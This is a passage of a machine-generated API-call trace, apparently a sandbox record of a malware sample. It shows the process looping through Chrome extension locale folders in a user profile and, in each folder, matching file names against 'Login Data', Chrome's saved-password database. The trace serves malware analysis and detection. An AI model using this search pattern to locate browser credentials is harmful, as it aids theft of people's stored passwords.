Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\cs" [0079.364] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\cs\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.364] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.364] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.364] LocalFree (hMem=0x6525c0) returned 0x0 [0079.364] LocalFree (hMem=0x6524b8) returned 0x0 [0079.364] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.364] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0079.364] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.364] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0079.364] LocalFree (hMem=0x6523b0) returned 0x0 [0079.364] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.364] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\da" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\da") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\da" [0079.364] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\da\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.364] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.364] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.365] LocalFree (hMem=0x6525c0) returned 0x0 [0079.365] LocalFree (hMem=0x6524b8) returned 0x0 [0079.365] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.365] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0079.365] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.365] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0079.365] LocalFree (hMem=0x6523b0) returned 0x0 [0079.365] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.365] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\de" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\de") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\de" [0079.365] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\de\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.365] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.365] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.365] LocalFree (hMem=0x6525c0) returned 0x0 [0079.365] LocalFree (hMem=0x6524b8) returned 0x0 [0079.365] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.365] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0079.365] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.365] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0079.365] LocalFree (hMem=0x6523b0) returned 0x0 [0079.365] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.365] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\el" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\el") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\el" [0079.365] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\el\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.366] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.366] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.366] LocalFree (hMem=0x6525c0) returned 0x0 [0079.366] LocalFree (hMem=0x6524b8) returned 0x0 [0079.366] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.366] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0079.366] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x6524b8 [0079.366] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0079.366] LocalFree (hMem=0x6523b0) returned 0x0 [0079.366] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x6525c0 [0079.366] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_GB") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_GB" [0079.366] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_GB\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.366] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.366] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.366] LocalFree (hMem=0x6525c0) returned 0x0 [0079.366] LocalFree (hMem=0x6524b8) returned 0x0 [0079.366] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.366] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0079.367] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x6524b8 [0079.367] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0079.367] LocalFree (hMem=0x6523b0) returned 0x0 [0079.367] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x6525c0 [0079.367] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_US" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_US") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_US" [0079.367] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_US\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.367] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.367] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.367] LocalFree (hMem=0x6525c0) returned 0x0 [0079.367] LocalFree (hMem=0x6524b8) returned 0x0 [0079.367] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.367] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0079.367] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.367] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0079.367] LocalFree (hMem=0x6523b0) returned 0x0 [0079.367] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.367] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es" [0079.367] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.367] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.368] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.368] LocalFree (hMem=0x6525c0) returned 0x0 [0079.368] LocalFree (hMem=0x6524b8) returned 0x0 [0079.368] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.368] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0079.368] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6524b8 [0079.368] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0079.368] LocalFree (hMem=0x6523b0) returned 0x0 [0079.368] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x6525c8 [0079.368] lstrcpyA (in: lpString1=0x6525c8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es_419" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es_419") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es_419" [0079.368] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es_419\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.368] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.368] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.368] LocalFree (hMem=0x6525c8) returned 0x0 [0079.368] LocalFree (hMem=0x6524b8) returned 0x0 [0079.368] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.368] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0079.368] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.368] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0079.368] LocalFree (hMem=0x6523b0) returned 0x0 [0079.368] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.368] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\et" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\et") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\et" [0079.369] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\et\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.369] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.369] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.369] LocalFree (hMem=0x6525c0) returned 0x0 [0079.369] LocalFree (hMem=0x6524b8) returned 0x0 [0079.369] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.369] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.369] LocalFree (hMem=0x6523b0) returned 0x0 [0079.369] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.369] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\eu\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.369] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.369] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.369] LocalFree (hMem=0x6525c0) returned 0x0 [0079.369] LocalFree (hMem=0x6524b8) returned 0x0 [0079.369] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.369] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.369] LocalFree (hMem=0x6523b0) returned 0x0 [0079.370] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.370] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.370] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.370] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.370] LocalFree (hMem=0x6525c0) returned 0x0 [0079.370] LocalFree (hMem=0x6524b8) returned 0x0 [0079.370] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.370] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0079.370] LocalFree (hMem=0x6523b0) returned 0x0 [0079.370] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0079.370] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fil\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.370] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.370] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.370] LocalFree (hMem=0x6525c0) returned 0x0 [0079.370] LocalFree (hMem=0x6524b8) returned 0x0 [0079.370] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.370] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.370] LocalFree (hMem=0x6523b0) returned 0x0 [0079.371] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.371] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.371] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.371] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.371] LocalFree (hMem=0x6525c0) returned 0x0 [0079.371] LocalFree (hMem=0x6524b8) returned 0x0 [0079.371] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.371] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.371] LocalFree (hMem=0x6523b0) returned 0x0 [0079.371] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.371] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\he\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.371] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.371] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.371] LocalFree (hMem=0x6525c0) returned 0x0 [0079.371] LocalFree (hMem=0x6524b8) returned 0x0 [0079.371] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.371] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.371] LocalFree (hMem=0x6523b0) returned 0x0 [0079.372] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.372] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.372] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.372] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.372] LocalFree (hMem=0x6525c0) returned 0x0 [0079.372] LocalFree (hMem=0x6524b8) returned 0x0 [0079.372] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.372] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.372] LocalFree (hMem=0x6523b0) returned 0x0 [0079.372] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.372] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.372] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.372] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.372] LocalFree (hMem=0x6525c0) returned 0x0 [0079.372] LocalFree (hMem=0x6524b8) returned 0x0 [0079.372] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0079.372] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0079.372] LocalFree (hMem=0x6523b0) returned 0x0 [0079.372] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0079.373] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hu\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.373] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.373] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.373] LocalFree (hMem=0x6525c0) returned 0x0 